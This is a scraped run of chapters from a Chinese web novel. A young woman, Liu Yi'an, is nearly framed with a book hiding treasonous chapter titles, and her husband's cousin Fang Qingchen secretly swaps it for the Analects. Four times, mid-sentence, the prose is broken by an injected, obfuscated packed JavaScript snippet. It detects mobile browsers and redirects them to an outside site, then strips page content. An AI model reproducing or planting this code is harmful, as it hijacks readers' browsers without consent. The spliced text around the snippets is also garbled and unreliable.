小霜小心地观察了一下,确认周围没有人看到她,迅速溜了进去,关上了大门。 “秋少夫呢?我要找他。” “我在这。”秋川白的声音在一旁响起。 秋川白原本就睡得不安稳,听到门口有动静后直接被吓个清醒,害怕是书院又出了什么事,却没想到来人竟是小霜。 “这么晚过来,是家中出什么事了吗?”秋川白大步走到小霜面前,焦急地询问。 “刚刚有官兵来府中搜查,将所有东西翻了个遍,甚至将门口的花灯都砸了。”小霜用极快的语速解释着,“官兵没查出什么来便走掉了,家主害怕柳少主出了什么事,派我来这里问问。” 怎么柳府也被官兵搜查了? “今日也有官兵来书院搜查,也是什么都没搜到。”华来回道。 秋川白眉头紧锁,现下他终于确定,今日下午书院的祸端恐怕就是冲着柳忆安去的,而自己可能就是罪魁祸首。 只是他现在不确定,顾允和这个事情究竟有没有关系,是顾允利用他陷害柳忆安,还是另有人作祟? 若是顾允给的古籍有问题,为何官兵会无功而返? “少主现在可还安好?我能去见见少主吗?”小霜想亲眼确认小姐安然无恙。 “现在书院大门紧锁,敲门也无人回应,现下我表弟正在书院大门候着,若有变故,会第一时间通知我们,妻主目前应当无碍。”秋川白沉声说道。 小霜稍稍松了口气,继续传达柳云的叮嘱:“家主说,今日家中被搜,恐怕是有心人在背后作怪,她这段时日会暗中调查是何人在下绊子,让少主在书院防备着身边人,小心引火上身。” 秋川白愈发不安,他纠结是否应该现在将顾允的事情全盘托出,但思虑再三,觉得还是先与柳忆安商量,由她决定是否要告知柳家主。毕竟,此事若处理不当,可能会给柳家带来更多麻烦。 现在最要紧的,是尽快与柳忆安联系上。 秋川白心中焦急,决定立刻出发去书院,说道:“小霜姑娘,我现下要去书院门口等候妻主消息,若柳家主还有什么吩咐,还请麻烦你多跑一下。” “我家小姐的消息也麻烦少夫多多上心了。”小霜话中带刺,语气中隐约透着不满。 她得知书院出了祸事,而秋川白却在房中休息,这让她心中有些怨气。可身为下人,她又不好直接顶撞主子,只能将情绪含蓄地隐藏在言语中。 秋川白听出了她的不悦,下意识地想为自己辩解,却发现事实无可辩驳,他确实是在柳忆安音信全无的时候躺在家中休息。 “是我对不起家主的信任,今后我一定好好保护她。”他郑重地承诺,随后便匆匆赶去了书院。 书院仍是紧闭着大门,四周也是一片静谧,只有鸟雀零星的振翅声响起。 方轻尘维持着原来的姿势,靠在书院门旁一动不动,只是眼睛偶尔会无意识地闭上,不过很快就猛地睁开。 “没有什么动静吗?”秋川白的声音打破了此时的寂静。 “一开始书院里有吵闹声传出来,很快就被人拦下了。”方轻尘的声音里带有明显的疲惫,“现在里面听不见任何响动。” “你先回映杏居休息吧,今日辛苦你了。”秋川白看到方轻尘脸色发白,心里感激对方的帮助。 谁知方轻尘摇摇头,拒绝了他的建议。 “我就在这等着吧,等有消息了再和你一同回去。” 秋川白不解方轻尘为何要坚持守在这里,继续劝他:“还是好好休息一下吧,就像你说的,越是这种时候越需要确保身体无碍。” 听完秋川白的话,方轻尘自嘲地摇了摇头。 “你是她的夫郎,她的一切都需要你来搭理,你的身体当然重要。”方轻尘盯着秋川白的眼睛,神情复杂,却因天色昏沉,没有让人发现,“而我不过是今日顺路来帮你,回去后自然有大把时间休息,你无需挂念我。” 秋川白此时一颗心全系在柳忆安身上,没有发觉方轻尘话中带有几分别的意味。 “那好吧。” 既然他愿意留在这里陪着自己,就随了他的心意吧。 卯时刚过,书院的大门打开,陆陆续续有人走了出来,所有人沉默不语,闭口不谈前一日发生了什么。 没过一会儿,柳忆安的身影也出现在了门口,秋川白激动地迎了上去。 还未等秋川白开口,柳忆然已先举手示意他安静,轻声“嘘”了一下。 秋川白明白了柳忆安的意思,知道此时此地不便多说,叫来方轻尘,三人一同往映杏居走去。 柳忆安带着秋川白走进书房,将门窗都关好,才开口问道:“你看过那本古籍吗?” *** 前一日,柳忆安接过秋川白的匣子,准备先回到舍房将秋川白所谓的古籍拿出来,再将点心送去与同窗分享。 路上遇到萧韵,对方看到她提着点心匣,还打趣道:“你夫郎给你送点心来了?我可得尝尝,你那新婚的小夫郎给你送的点心味道肯定不错。” “等会儿就将点心拿给姐姐。”柳忆安不置可否,“姐姐尝了点心后就别再打趣我了。” “自然自然,吃人嘴短嘛。”萧韵一口应下。 柳忆安快速回到舍房,准备将那本古籍按照秋川白所说藏起来。 她快速地将书从匣子底层抽出来,谁料映入眼帘的却是两个大字——《论语》。 《论语》? 她翻开书,快速地将书浏览了一遍,确定这本书就是《论语》无疑。 难道秋川白所谓的古籍就是《论语》? 她心里疑惑,不知道秋川白到底何意。 既然是《论语》,便没有什么隐藏的必要了,柳忆安随手将这本书放到了案台上,准备将点心分给同窗。 结果还未待她从舍房出去,一群官兵就闯了进来。 “我们接到消息,万明书院有人私藏禁书,妄图谋逆,今日特地前来搜查。”为首的长官大声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809865|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地喊道。 话音刚落,四周立刻传来切切私语。 “上次不是刚抓了一个人走吗?怎么还有人敢私藏禁书。” “就是说啊,谁胆子这么大。” “谁知道是不是真的有禁书,莫不是这群武夫寻了个借口随意抓人罢了。” …… “都给我闭嘴!”长官厉色喝到,吓得所有人不敢再多言,“所有人,站在廊下,挨个搜查!” 柳忆安和大家一起并排站好,等待官兵的搜查。 一个时辰过去,所有人的身上都被搜了一遍,没有发现任何线索。 “没找到?看起来藏得很好嘛。”长官从所有人面前走过,凌厉的目光将每个人都扫了一遍,“仔细搜,今日就算把万明书院拆了也要将书找出来。” “是!”官兵们齐声应道,再次翻找起来。 所有的案台和架子都被翻了个彻底,上面的书卷被官兵随意地扫到了地上,书院里一片狼藉。 又过去了两个时辰,官兵依然没有找到所谓的禁书。 “最好自己承认,别让我翻出来。”长官咬牙切齿。 “长官,上面的人施压了。”一个小兵跑来,在长官耳边小声说了什么。 小兵说完后便跑开了,随后长官若有深意地将书院环视了一遍。 “今日算你们运气好,姐妹们,我们先撤。” 说完,便带着一群人离开了。 待所有官兵都撤离了,有人立刻瘫坐下来,嚎哭道:“这都什么事啊,我的注解都被这些武夫毁了,我的心血全没了!” 旁边立刻有人捂住了她的嘴。 “小声些,你莫不是还想招她们回来?” 其他人纷纷小声议论着,不敢发出太大的声响,生怕再招来祸端。 这时,夫子们从后堂缓缓走出来,脸色凝重,看着满室狼藉,心中虽有不满,却也无可奈何。 “大家静一静。”季夫子站了出来,“这段时日,书院几次三番被官兵找上门,这恐怕不是巧合。” 大家都安静了下来,屏息等待接下来的话。 “春闱在即,恐怕有人想要掀起什么风浪,意图扰乱大家的心神。大家若因此损了志气,才是让她人的阴谋诡计得逞。” “我和其余几个夫子商议了,决定将所有的批注解释整理出来,大家誊抄完毕后,便回家吧。” 季夫子看着满院的学子,声音中透着忧虑:“恐怕书院日后仍会风波不断,你们安心在家备考,待春闱结束,一切自会平息。” 所有人哗然。 “夫子,您的意思是,今日过后我们便不必再来书院了?”有人大声问道。 “对,有条件的人就回家吧,若是家中不便,也可借住在书院。” 此话一出,学子们面面相觑,大家心情都十分沉重,无意再说些什么,纷纷低头将地上的书捡起。 一整晚,夫子们在整理着书卷和注释,而学子们一刻不停地将注解誊抄到书本上。 直到天边第一缕晨光浮现,大家才停了下来。 “我们能做的只有这些了。”季夫子长叹了一声,向大家道别:“祝你们皆能金榜题名,到那时我们再聚于此。” 柳忆安整理好自己的东西后,便也离开了书院。 她不确定今日官兵的搜查到底与自己有没有关系。 秋川白所谓的古籍,为何只是一本《论语》? 若那些官兵是冲那本古籍而来,秋川白将此书拿给她,到底是有心还是无意? 她带着一肚子的疑问走出门去,看见秋川白和方轻尘正在门口候着。 柳忆安不想让别人知道自己的疑虑,让自己的神情尽可能的平静。 “嘘,我们先回家。” 19. 质问 柳忆安想先确认一下,秋川白原本打算给她的书,与最终交到她手中的那本,是否是同一本书。 现在她还不知道秋川白究竟是敌是友,只好旁敲侧击地问他有没有看过那本古籍。 “我不曾仔细瞧过,是那本书有问题吗?”秋川白慌张不已,为自己辩解道,“顾允将书给我后,我先将书藏了起来,随后和她一同前往柳府,将她的衣服还给她。后来又随她在街边转了转,偶遇了轻尘表弟,和他一同回了秋府,翌日清晨才回到映杏居。” 秋川白将自己那日的行程一五一十地讲述出来,柳忆安坐在一旁,默不作声地观察他,细细揣摩着每一句话的真假。 “你是说,那日你拿到书之后,还未来得及翻阅就拿给我了吗?” 眼瞧着秋川白的样子不像在说谎,柳忆安继续试探他。 “我想早点把书拿给你,也万万没想到这书会给你惹来祸端,所以未曾翻阅过。” 见柳忆安似乎不相信自己,秋川白着急得红了眼眶。 “我这几日一直同轻尘表弟待在一起,你可以去问他,看他的说辞是否和我一样。” “你莫慌,我是信你的,只是这件事疑点颇多,我得问仔细一些。”见秋川白几近失态,柳忆安试图平息他的情绪。 泪珠从秋川白的眼角滚落,他啜泣道:“我,我不是怨你,你不信我,这很正常,我知道这场祸事是由我引起的。我,我只是恨自己,恨自己轻信了她人,反而害了你。” “不用自责,若她人想要害我,就算没有你,也会有其余的手段。”柳忆安拿出帕子,轻轻地将秋川白脸上的泪痕擦拭干净,随后继续问道,“你还记得那本古籍的书首写着什么吗?” 秋川白努力回忆着书的样子,回答道:“好像什么都没有写。” 柳忆安见从秋川白这里再问不出别的信息,想先同方轻尘聊一聊。 “我明白了,你先好好休息一下,我想接下来同轻尘表弟聊一聊,你能替我将他叫进来吗?” 秋川白点点头。 “好,我去叫他进来。” 说完,便出了书房,见到方轻尘正在书房门口等候。 “轻尘表弟,妻主有一些问题想要问你,麻烦你将你记得的事情同她讲一下。” 说完,秋川白转身想要离开,却被方轻尘一把拉住,被他再次带到了书房内。 “柳女君,关于这本古籍,我有事要同你,还有川白表兄说明。”方轻尘合上了门后,郑重地开口道,“柳女君,你收到的那本《论语》,是我放进去的。” “《论语》?” 秋川白震惊地瞪大了眼睛,在场的所有人中,只有秋川白不知道匣子中装的是册《论语》。 “你将我放进去的书调换成了《论语》?”秋川白惊讶不已。 “是的,川白表兄,这件事我之前未曾向你提及,多有抱歉。”方轻尘郑重地向秋川白致以歉意,“顾女君莫名拿出一本书,我觉得事有蹊跷,那日你换衣服的时候,我便趁机打开翻阅了一下。” 说完,方轻尘从怀中拿出了一本书,向两人展示。 “这便是你原本放入匣中的书。” 随后,方轻尘将书翻到后面几章。 “这几章的内容,乍一看并没有问题,不过若是取每一章章名的第一个字连在一起,便有很大问题。” 柳忆安从方轻尘手中接过书,直接翻到后面几章,目光迅速扫过章节名,只见几章的名字分别是《除患》《裕邦》《兴农》《顺本》。 除裕兴顺? 柳忆安按顺序将每章的第一个字拼在一起,瞬间起了一身冷汗。 裕朝开国后,有不少顺朝的遗臣余党伺机而动,她们暗中筹谋复国,多次掀起兵乱,是裕朝历代皇帝的眼中钉、肉中刺。 这四个字若是落入朝廷的耳目中,柳忆安恐怕会被认为是顺朝余党,整个柳家恐怕不会留有一个活口。 “川白,你看一下,这本书是顾允给你的吗?” 柳忆安将书递到秋川白面前,让他仔细分辨。 秋川白看了看,确认道:“好像就是这本。” “此事事关重大,你务必仔细分辨。”柳忆安叮嘱道。 秋川白接过书,同记忆里模糊的印象仔细对比,确认了此书就是顾允所谓的古籍。 确认这本书确实是顾允交给秋川白的后,柳忆安转向方轻尘,问道:“既然你在翻阅这本书时已发现其有问题,为何当时不将此事告知秋川白?而且,那时你手边为何恰好有一本《论语》可以替换?” “前些时日,邻家幼童哭闹着不愿做功课,将书从围墙另一侧扔了过来。我拾起后原打算归还,奈何敲门无人应答,便将书暂时留在了身边。那日发现书问题,情急之下,便以这本书替换了匣子里的古籍。” 方轻尘顿了顿,接着说道:“至于未与川白表兄商议,是因为当时我无法确定他是否参与了这件事,担心贸然提起反而会打草惊蛇。” 说到这里,方轻尘对着秋川白拱手行礼,以示歉意。 “川白表兄,很抱歉一开始怀疑了你。经过昨日的观察,我已经断定表兄与此事毫无关联。表兄对柳姑娘一片赤诚,绝不可能与她人勾结陷害柳姑娘。” 听完方轻尘的回答,柳忆安陷入沉思,其余两人也不敢出声惊扰,房间里陷入一片寂静。 过了许久,秋川白才小声说道:“妻主,昨夜官兵也搜查了柳府,没搜到什么后便撤离了。” 柳忆安一声冷笑道:“想必是在书院没搜到,便去家里搜了。” 她再次翻看了那本暗含了谋逆之语的书,将每一页内容仔细确认了一遍,随后走到烛台前,将书一页页烧成了灰烬。 “妻主,我们不用留着书报官吗?”见柳忆安将书烧毁,秋川白不解地问道。 柳忆安摇摇头,那天来搜查的官兵拿的令牌并非是来自本县,若贸然报官,恐怕只会被人倒打一耙。 “我们现在只能假装从未见过这本书,若有任何人问起,你就说从未见过什么书,顾允来找你只是为了取走自己的衣裳而已。” 秋川白坚定地点了点头,他相信柳忆安这么做一定有自己的理由。 柳忆安继续说道:“现下我已经确认顾允和此事脱不开干系,只是我们还不知道她这么做的目的是什么。” 话毕,她和方轻尘一同看向了秋川白。 秋川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815792|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白看见两人齐齐看向自己,心里有些发慌,申辩道:“我和她虽是幼时相识,但是已经多年未见。这次重逢也仅仅见过两面而已……我绝对没有做出对不起妻主的事情。” 柳忆安也并不觉得顾允闹出这么大动静,仅仅是为了将秋川白从自己身边抢走,她低声劝慰道:“你莫慌,这桩祸事绝不是因你而起,不必自责。” 安抚完秋川白,柳忆安转头看向方轻尘,感激道:“多谢轻尘表弟,幸亏你提前将书调包,否则后果不堪设想。” “不必多礼,今日事端已了,我就不多留了,先行告辞。”方轻尘微微拱手,向两人道别。 见方轻尘起身准备离开,秋川白也跟着站起来。 “我送送你吧,轻尘表弟。” 随着方轻尘和秋川白一前一后走出了书房,柳忆安再度陷入沉思,她取出笔纸,将目前掌握的线索一一梳理。 首先是顾允,她准备了一本写了大逆不道之言的书,企图用此书陷害自己。而秋川白原打算将此书交给自己,中间被方轻尘掉了包。 方轻尘替换了书,所以他一定不是顾允的同谋。 至于秋川白…… 虽然有方轻尘替他作保,但是这件事关系柳家所有人的性命,她不能仅仅因为方轻尘的一句话而完全对秋川白卸下防备。 毕竟她亲眼看见了秋川白与顾允重逢时表现出的欣喜,也知道秋川白是如何不情愿地嫁入了柳家。 如果事情真如她最坏的设想发展,自己因谋逆罪被官府带走,而顾允可以作为举报人保下秋川白,那么秋川白就可以借此摆脱这段令他厌恶的婚姻。 最令人起疑的是,他将书交给自己不过半个时辰,官兵就找上书院,这其中必定有人通风报信。 从这个角度看,秋川白身上的嫌疑很难洗清。 而方轻尘,作为秋川白的表弟,为什么会主动换了书而不告诉秋川白。从结果上看,对方救了自己,但是柳忆安实在想不通对方这么做的原因。 柳忆安决定先按兵不动,这次顾允陷害她不成,很可能会采取下一步行动。只要对方有动作,她就有机会抓住对方的把柄。 这段时间,她需要仔细留意秋川白的举动,若他真的是无意被顾允利用,她便可彻底放心;若是秋川白和顾允有意勾结,她也可利用秋川白反将顾允一军。 方轻尘救下自己的目的到底是什么?是他早就与秋府有嫌隙,想借此事给自己一份投名状,还是另有所图。若是另有所图,他图的又是什么? 分析完局势后,柳忆安将写下的所有笔记投入火中,跳跃的火光映在她的面庞上,照亮了她眼中的坚定与冷静。 另一边,秋川白领着方轻尘往门外走去。 “这次多谢表弟了,若不是表弟,恐怕我已酿下大祸。”秋川白开口道,语气中却带着和谢意并不相配的冷漠。 方轻尘觉察出了秋川白的不悦,客气地回道:“表兄不必与我多礼,能帮到表兄是我的荣幸。” “是吗?如果是为了我,为何你发现书有不妥的时候不与我明说,而是今日当着妻主的面才道出?” 秋川白停下脚步。 “你这么做,究竟是为了谁?” 20. 我放你走 秋川白突然的质问让方轻尘愣住。 他因为担心秋川白与顾允勾结、故意陷害柳忆安,便自作主张地调换了书。如今秋川白沉冤昭雪,他一时竟不知该如何向秋川白解释。 方轻尘垂下目光,掩去眼底复杂的情绪。他自己也无法明白,为何在怀疑秋川白要陷害柳忆安的时候,毫不犹豫地选择了帮助柳忆安,而不是秋川白。 不过很快,他为自己找好了理由。 “表哥切勿多心,当时我之所以没有将换书一事告诉表兄,是害怕会打草惊蛇。”方轻尘觉得自己的借口有些牵强,硬着头皮往下说道,“既然顾允想利用表兄陷害柳女君,想必一定在暗处观察着表兄的一举一动,若表兄不表现得悲切一些,对方一定会猜到我们已有所防备,日后你和柳女君怕是会更加被动。” 看到秋川白的表情缓和了一些,方轻尘继续解释道:“之所以在柳女君面前那样说,是为了打消她对表兄的怀疑。你亲自将书送到她手上,她很难判断你究竟是顾允的共谋,还是仅仅被顾允利用。如果我直接表明相信你,她反而会有更有疑虑。于是我先坦言自己曾经怀疑过你,再说明如今已确认你是清白的,这样她才更可能相信我的说辞。” “原来是这样。”秋川白点了点头,相信了方轻尘的说辞,“多谢轻尘表弟,这几日你为我做了这么多,日后我定当竭力回报。” 方轻尘有些心虚,不敢接下秋川白的承诺。 他心里清楚,自己做的那些,仅仅是为了柳忆安。 祖母去世后,他被接到秋家,自那起他一直谨小慎微地活着,不敢招惹事端。 姑母一直对他父亲与母亲私奔一事耿耿于怀,将他父亲视为家族之耻,能接济他吃住已经是网开一面。 在他刚到秋府时,秋思雨对他的态度冷漠至极,不愿正眼瞧他一眼,只让人把他安置在后院,三餐由下人送去,连上桌吃饭的资格都没有。 这么多年他一直伏低做小,有求必应,这才逐渐让秋思雨的态度有所缓和。随着时间推移,秋思雨勉强给予了他一些主子的体面,但代价是他必须做一个听话的工具。 日子久了,他已经习惯戴上一层面具,始终保持恭敬的笑容,从不反驳,也不多问,只有这样,他才能在这座偌大的宅院中保住一席之地。 遇到柳忆安之前,他从未觉得这样的生活有什么不对,男子的一生本就是一次又一次的妥协,至于向谁妥协,他觉得无关紧要。 与他而言,最重要的事情就是平安地活下去,没有什么比这更重要。 他无法在面对柳忆安的危险时假装视而不见,他愿意付出现在所拥有的一切,保护好她的安全。 毕竟自己所拥有的这些,也没什么值得好好珍惜的。 大婚那日,当他假装成秋川白,与柳忆安拜天地、拜高堂、拜彼此时,恍惚中他真的以为迎来了属于自己的幸福。那一刻,礼乐回荡,红烛摇曳,在众人的祝福中,她成为了他的妻。 当婚礼结束时,他脱下了那身喜服,从幸福的假象中清醒过来。 他只能眼看着她与自己的表兄琴瑟和鸣,而自己只能借着秋家的名义关心她。 很多个午夜,他都梦见自己对柳忆安坦白所有真相,告诉她自己才是那个和她拜堂的人,想问问她大婚时的诺言是否还作数,是否愿意和他共度一生。 梦里的柳忆安总是一脸鄙夷地甩开他,然后一步步地远离他,直到她的身影彻底消失在视线尽头。 而梦中的他,无论如何奋力追赶,却始终无法追上那个渐行渐远的身影。 他一次次从梦中陡然惊醒,然后庆幸还好只是个梦。现实中,他依然可以用秋川白表弟的身份默默地关注着她。 他不敢奢望什么,只要每隔一段时间能看见她一眼,就满足了。 这样肮脏的心思,他该如何伪装。 他又如何敢接下秋川白的感谢。 面对秋川白感激的目光,他只好装作不在意地摆了摆手。 “表兄不必客气,我承了秋家的恩,自然是要报答你的。” 他不敢再和秋川白待在同一处,对方越是坦然,越是衬得自己不堪,于是寻了借口便匆匆离开了。 见方轻尘着急回府,秋川白也不再留客,替他叫了马车后便回去寻柳忆安了。 柳忆安仍一个人静静地待在书房中,对着那本《论语》发呆。 “妻主…” 秋川白轻声唤她。 柳忆安听到了秋川白的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823765|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音,慢慢地抬起了头。 “何事?” “我真的不是故意要将那本书给你的,我是真的以为这本书会帮到你。” 也许是柳忆安的语气听上去过于冷漠,吓得秋川白赶紧为自己辩解。 “我知道。”柳忆安用平静的口吻回应道,“也许你是想早点还完所谓的‘恩情’,然后早日离开柳府。” “我没有…” 秋川白的话说了一半,便被柳忆安阻断。 “你不用这么着急,你在我坠崖的时候不顾一切地救了我的性命,从那时起,在我心里,你已经不欠我什么了。” 柳忆安站起身,将窗户一盏一盏地推开,阳光斜照进了房间,拦在了柳忆安和秋川白之间。 “你不欠我什么。”柳忆安再次重复道,“至于什么一年之约,也还是算了。你想走便走吧,我们现在可以另写一封和离书。” 不顾秋川白脸色骤变,柳忆安拿出纸笔,准备签下一份新的和离书。 眼见“和离”二字已经被写到纸上,秋川白一个箭步上前,将笔从柳忆安的手中夺下。 “我不走,我不想离开你,忆安,我不要离开你。”秋川白努力不让眼眶中打转的泪珠留下,哽咽道,“我后悔了忆安,我不想走,我既然嫁给了你,就是你的夫郎,我不走,你也不要赶我走。” 手中的笔被猛地夺走,柳忆安不解地看向了秋川白。 “为什么?为何突然变了心意?” 秋川白不语。 “你究竟是为了什么才选择留下?这段时日我们相处得不多,是什么让你不愿离开了?” 柳忆安一步步地走向秋川白,逼得对方一步步后退。 “是发现嫁给我后无人再约束你的生活吗?” 她又逼近一步。 “还是你要做别人的耳目,观察我的一举一动。” 眼见秋川白退无可退,柳忆安停了下来。 “你究竟想利用我达到什么目的,你为了不嫁给我,当初不惜同家人决裂。如今又是什么让你心甘情愿留下来?” 柳忆安无法再压抑自己的情绪,眼泪一滴滴掉了下来。 “我放你走,你不要再帮助别人陷害柳家了,可以吗?” 21. 回心转意 听到柳忆安的话,秋川白眼眶中的眼泪终于夺眶而出,顺着面颊砸落到地面。 “我没有,我没有,我不会害你的,求求你相信我。” 秋川白的脸色因激动而潮红。 “我不要和你和离,我不会走的。” 眼看柳忆安不为所动,秋川白的心乱作一团,他没办法忍受柳忆安这样的目光,觉得自己的心被一点点割裂。 “你现在太生气了,我都理解的,你需要先冷静一下,至于和离一事,我们以后再说吧。” 说完,秋川白夺门而出。 见到秋川白离开了书房,柳忆安伸手擦干了脸上的泪痕,神情恢复成她往日的平静模样。 刚才秋川白送方轻尘出门的时候,她听到屋顶传来窸窣的声音,她很快就意识到了,有人在附近监听她们的对话。 于是她把窗户打开,做了一场大戏给那个人看。 这个时候来监听她的,恐怕不是顾允就是顾允背后的人,她想试探一下对方到底是出于什么目的才设局陷害她,所以她故意放出了她和秋川白会和离的消息。 如果那个人是因为觊觎秋川白而陷害她,得知她与秋川白要和离的消息,想必不会再冒险做出一些出格的举动。 如果那个人后续还会为她设下埋伏,想来也不全是为了秋川白,就能确定这件事并非顾允一人所为,一定还有其她人在算计她。 秋川白太过天真,喜怒哀乐皆溢于言表,所以她必须在骗过背后之人前,先骗过秋川白。 眼看着秋川白神色凄然地哀求她,她的心脏仿佛也被人攥住一般。但为了引出幕后之人,只好先委屈他一下,映杏居已经不安全了,只能等回到柳府后,再将一切计划说与他听。 「等等,他刚才说,不愿与自己和离?」 「他说他不会走?」 「他是回心转意了吗?」 柳忆安后知后觉,才意识到对方刚才苦苦哀求些什么。 她本来想演一出当场和离的大戏,若秋川白愿意,也大可当场接下和离书走人。毕竟现在情势不同,两家的颜面已经不是柳忆安首要关心的事情了,保住自己和柳家才是关键。 结果这场戏演得太过投入,她全程没有意识到剧情的发展和自己当初想象的不同。 甚至在秋川白夺门而出的时候,她都没有发现有什么不对劲。 他怎么没按自己预想的那样,签下新的和离书,然后和自己一别两宽。 他说他不想走,是不是说明他已经在意自己了? 柳忆安又想到他离开时一脸的哀痛,想立刻和他解释清楚,但当下有人监视着映杏居,她不能现在将真相说与他听。 今晚她可以带着秋川白回柳府,柳府有护卫看守,会更安全些,到那时再同他坦白。 柳忆安走出书房,却不见秋川白踪迹。正纳闷时,听见厨房传来“咚”的一声。 她轻声走到厨房门外,看到秋川白端着锅手忙脚乱地收拾。 “华来,为何我烧的火冒黑烟呢?这样还怎么煲汤啊?” 华来在一旁协助秋川白,指点他:“公子,是柴火太湿了,须得再烧一会儿,将这些柴火烧干才行。” 秋川白拿出蒲扇努力地扇风,企图将厨房内的烟雾吹散。 “这得烧到什么时候啊?” “公子,不然还是我来吧,等我把火烧好再叫您进来。”华来伸出手,想接过秋川白手中的扇子,对方却牢牢抓住,不愿松手。 “不行不行,上次就被你们赶出厨房,搞得我现在还不会生火,这次说什么我都要学会。” 秋川白这次铁了心要亲自下厨为柳忆安煲汤喝,他不知道要如何给柳忆安道歉,只能笨拙地模仿父亲曾经的做法。 以往母亲在生意上遇到糟心事,回家后总是食不下咽,这时父亲总会尝试将各种补品煲成汤让母亲喝下。 按父亲的说法,这叫解郁结,补气血,总之对身体是极好的。 方才,是自己第一次看见柳忆安掉眼泪。他新婚夜要同她和离,她默默地接受了。她从山崖下掉下去,在雪中差点儿冻个半死,在床上修养时也没抱怨过一句,甚至还安慰他,让他不要过于操劳。 而自己那个时候都在干什么。 那时的自己虽然看上去整日都在忙碌,但秋川白心里清楚,那都是自己为了避免和柳忆安单独相处,才不停地做一些非必要的琐事来伪装。 方才见到她垂泪,秋川白才恍然自己过去做了些什么。 他借着寻找一心人的借口,对她所有的关怀和体贴视而不见,故意疏远她,说了不少伤害她的话。而她,何尝又不是因为这段婚约遭受这些,若她的婚约对象不是自己,想来也不必经受这番变故。 如今自己后悔,想主动为她做点什么,却险些害得她家破人亡。 面对柳忆安的眼泪与质问,他觉得无地自容,他给柳忆安带来的伤害如此深重,以至于他的辩解那么无力。 他不敢面对她的难过,只好躲到厨房里,想做些美食来稍稍安抚她的情绪。 他知道自己不该逃避,但是他着实害怕柳忆安再说出“和离”这两个字。 柳忆安躲在门后,听到了秋川白和华来的全部对话。 他是在为了自己学习下厨吗? 他是真的不想再同自己和离,还是说,他只是不想在和离书生效前离开? 她希望秋川白心悦她,但因为前车之鉴,不敢再自作多情。 当时自己只是想表明心意,就被他避之不及。 如果自己再误解了他的意思,岂不是要被他厌恶。 柳忆安的视线逐渐被愈加浓厚的烟雾遮挡住,秋川白的身影越来越模糊,直到完全看不清,柳忆安才转身离开。 现在她实在无心去猜测秋川白的想法,背后陷害她之人还未揪出,她实在无暇顾及这些儿女情长。 想到柳府遭受搜查一事,柳忆安觉得莫要耽误时间,必须马上回到柳府,将自己现在已知的情报说与母亲。 “小露,今日把东西收拾好,我们准备回柳府。”柳忆安吩咐道。 “需要收拾少夫的东西吗?”小露不敢自作主张。 “你去问问他吧,若他今日有事,便算了。” 顾允是冲自己来的,秋川白一个人待在这里不会有事。 至于书房里装作要同他和离一事,可以待日后再解释与他听。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841592|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > *** “秋少夫,咳咳,我们小姐打算今日回柳府,想问你要不要一起回去。” 小霜踏进厨房,被一屋子的烟雾熏得连连咳嗽,捂住口鼻后好不容易才找到了秋少夫的位置。 秋川白的白净的皮肤已经被熏得乌黑一片,衣服上粘满了灰烬,整个人仿佛刚才从炉灶中爬出来。 “秋少夫,您这是…您这是在干嘛?”小霜震惊地瞪大了眼,看见秋川白一脸狼狈地举着炖锅。 “我想给夫人炖汤喝,咳咳。”秋川白也被呛得说不出话。 “小姐今日要回柳府,想问您要同她一起回去吗?” “现在就回吗?我这汤才炖到一半,能稍等一下吗?”秋川白看着炉灶犹豫不决。 “公子,小的说句不好听的,您那汤…就算炖出来想来也难以入口,不如现在就和小姐一起回去吧。” 华来在秋川白背后小声说道。 “你又如何晓得我这汤会难喝。”秋川白微微皱眉,语气中有些不服气。 华来心中充满无奈,继续劝说道:“公子,等您熬好汤,天都黑了,路上不安全啊。” “也是,那我们还是早些回去吧。”秋川白屈服了,闷闷道,“小露,麻烦您告知少主一声,我们同她一起回去。” 小露得到了秋川白的指示,回去同柳忆安复命。 “小姐,少夫说要和我们一起回去,那我先去同华来春生一起收拾行囊。” 柳忆安点点头。 “去吧。” 得知秋川白要和自己一起回去时,柳忆安的内心是有一丝雀跃的。 